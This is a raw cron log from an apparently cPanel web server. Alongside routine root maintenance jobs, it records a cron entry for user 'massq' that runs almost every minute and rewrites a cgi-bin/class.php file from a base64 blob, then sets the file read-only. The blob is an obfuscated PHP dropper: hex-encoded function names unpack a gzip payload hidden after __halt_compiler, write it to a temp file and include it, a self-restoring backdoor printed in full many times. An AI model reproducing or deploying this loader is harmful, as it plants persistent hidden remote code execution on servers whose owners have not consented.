Sep  3 11:16:01 server CROND[18080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:16:01 server CROND[18078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:17:01 server CROND[18605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:17:01 server CROND[18606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:17:01 server CROND[18607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:18:01 server CROND[18985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:18:01 server CROND[18986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:18:01 server CROND[18987]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:19:01 server CROND[19362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:19:01 server CROND[19363]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:19:01 server CROND[19365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:20:01 server CROND[19749]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:20:01 server CROND[19751]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 11:20:01 server CROND[19752]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 11:20:01 server CROND[19756]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 11:20:01 server CROND[19760]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:20:01 server CROND[19757]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 11:20:01 server CROND[19761]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:20:01 server CROND[19758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:20:01 server CROND[19759]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:21:01 server CROND[20581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:21:01 server CROND[20580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:21:01 server CROND[20582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:22:01 server CROND[21055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:22:01 server CROND[21056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:22:01 server CROND[21057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:23:01 server CROND[21430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:23:01 server CROND[21432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:23:01 server CROND[21431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:24:01 server CROND[21802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:24:01 server CROND[21803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:24:01 server CROND[21805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:25:01 server CROND[22177]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 11:25:01 server CROND[22182]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:25:01 server CROND[22183]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:25:01 server CROND[22181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:25:01 server CROND[22184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:25:01 server CROND[22185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:25:01 server CROND[22187]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 11:26:01 server CROND[23154]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:26:01 server CROND[23155]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:26:01 server CROND[23156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:27:01 server CROND[23523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:27:01 server CROND[23524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:27:01 server CROND[23525]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 11:27:01 server CROND[23526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:28:01 server CROND[24004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:28:01 server CROND[24005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:28:01 server CROND[24006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:29:01 server CROND[24393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
